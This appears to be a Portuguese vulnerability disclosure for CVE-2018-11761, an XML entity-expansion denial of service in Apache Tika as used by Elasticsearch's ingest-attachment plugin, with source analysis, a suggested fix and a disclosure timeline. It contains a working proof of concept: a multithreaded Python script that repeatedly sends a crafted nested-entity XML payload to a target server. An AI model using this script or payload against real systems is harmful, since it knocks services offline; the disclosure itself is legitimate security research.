brianwrf/cve-2018-11761Vulnerabilidade de Negação de Serviço do Apache Tika (CVE-2018-11761)
Em uma pesquisa recente sobre o Apache Tika, encontrei uma vulnerabilidade de DOS (Negação de Serviço) existente em seu analisador XML. Isso é causado pelo fato de o analisador analisar incorretamente documentos XML.
Como sabemos, o plugin central de anexos de ingestão permite que o Elasticsearch extraia anexos de arquivos em formatos comuns (como PPT, XLS e PDF) usando a biblioteca de extração de texto Apache Tika. Então, vamos dar uma olhada no código fonte do plugin de anexos de ingestão.```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
Na verdade, o plugin usa [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) como um parser para extrair conteúdos de um arquivo XML. Ao investigar mais a fundo, podemos ver as seguintes invocações:
* `DcXMLParser()` estende [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)
* `XMLParser` usa [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) para analisar documentos XML
* `XMLReaderUtils.parseSAX` invoca [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163)```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
Na função acima, podemos ver restrições de segurança muito limitadas para o objeto SAXParserFactory.newInstance():```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
De acordo com a explicação da Oracle, quando [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) está ativado, ele instrui a implementação a processar XML de forma segura. Isso pode definir limites nas construções XML para evitar condições como ataques de negação de serviço.
Mas, na verdade, é incapaz de prevenir completamente contra [Expansão de Entidade XML](http://www.ws-attacks.org/XML_Entity_Expansion). Um atacante ainda pode enviar um documento XML manipulado para o servidor ES para realizar um ataque DoS através da vulnerabilidade de Expansão de Entidade XML, conforme mencionado na seção `Proof of Concept`.
Eu verifiquei o código fonte do Apache Tika e eles apenas ativam o recurso `XMLConstants.FEATURE_SECURE_PROCESSING`, o que eles poderiam pensar que protege contra esse tipo de ataque conforme [este artigo](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html), já que limita o número de expansões de entidade a 64.000 por padrão. Mas, na verdade, ainda podemos aproveitar essas 64.000 expansões de entidade para gerar um objeto XML de amplificação na memória, por exemplo, o tamanho do arquivo `ES_XML.xml` no POC é de apenas cerca de 64KB, mas uma vez enviado para o servidor Tika backend no servidor ES, o Tika terá que alocar pelo menos 6MB de memória (6MB / 64KB = 100 vezes) para analisá-lo, o que leva a um aumento rápido na utilização da CPU.
Portanto, pelo meu entendimento, uma possível correção poderia ser definir a seguinte propriedade do sistema, o que limitaria muito o impacto, conforme [o documento da Oracle](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html):```
jdk.xml.entityExpansionLimit=1
A demonstração a seguir foi testada e verificada no ElasticSearch 6.3.31, que utiliza o Tika 1.18:
poc_dos_es.py:```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))
def verify_mal_doc(self, url):
ingest_url = "{}/my_index/_doc/1".format(url)
res = requests.get(ingest_url, headers=headers)
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))
def run(self):
url = "http://{}:{}".format(self.es_ip, self.es_port)
with open(self.mal_xml_file, 'rb') as f:
content = base64.b64encode(f.read())
self.create_ingest_att_pipeline(url)
while True:
print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
self.send_payload(url, content)
self.num += 1
#self.verify_mal_doc(url)
if name == "main":
# ES server's IP, Port
es_ip = sys.argv[1]
es_port = sys.argv[2]
# Crafted XML file
mal_xml_file = sys.argv[3]
# Number of Processes
thread_num = int(sys.argv[4])
for i in range(thread_num):
i += 1
t = ExploitThread(es_ip, es_port, mal_xml_file, i)
t.start()
* Crie um documento XML personalizado e salve como `ES_XML.xml`:```XML
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a 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00000000000000000123456789000000000000000000000" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" >
]>
<foo>&d;</foo>
* Então, a utilização da CPU aumentará rapidamente e de forma óbvia.
# Conclusão
Essa vulnerabilidade é, na verdade, causada pela implementação do Apache Tika XML Parser. Enquanto isso, acredito que todos os serviços que usam o Tika para analisar arquivos XML também devem ser impactados.
# Cronograma
* 2018-07-25: Reportado à equipe de Segurança Apache e à equipe de Segurança de Produto Elastic.
* 2018-07-26: Recebido reconhecimento e confirmação do PMC do Apache Tika.
* 2018-07-27: Recebido reconhecimento da Segurança de Produto Elastic.
* 2018-09-19: Recebido anúncio [CVE-2018-11761](https://lists.apache.org/thread.html/5553e10bba5604117967466618f219c0cae710075819c70cfb3fb421@%3Cdev.tika.apache.org%3E) da equipe do Apache Tika e confirmado que o problema foi corrigido no Apache Tika 1.19 ou posterior
* 2018-11-27: A equipe de Segurança de Produto Elastic confirmou que o ElasticSearch 6.4.3 corrigiu o problema.
# Referências
* http://avfisher.win/archives/1021
* https://github.com/elastic/elasticsearch
* https://github.com/apache/tika
* http://www.ws-attacks.org/XML_Entity_Expansion
* https://xerces.apache.org/xerces2-j/javadocs/api/javax/xml/XMLConstants.html#FEATURE_SECURE_PROCESSING
* https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html
* http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html
* http://openjdk.java.net/jeps/185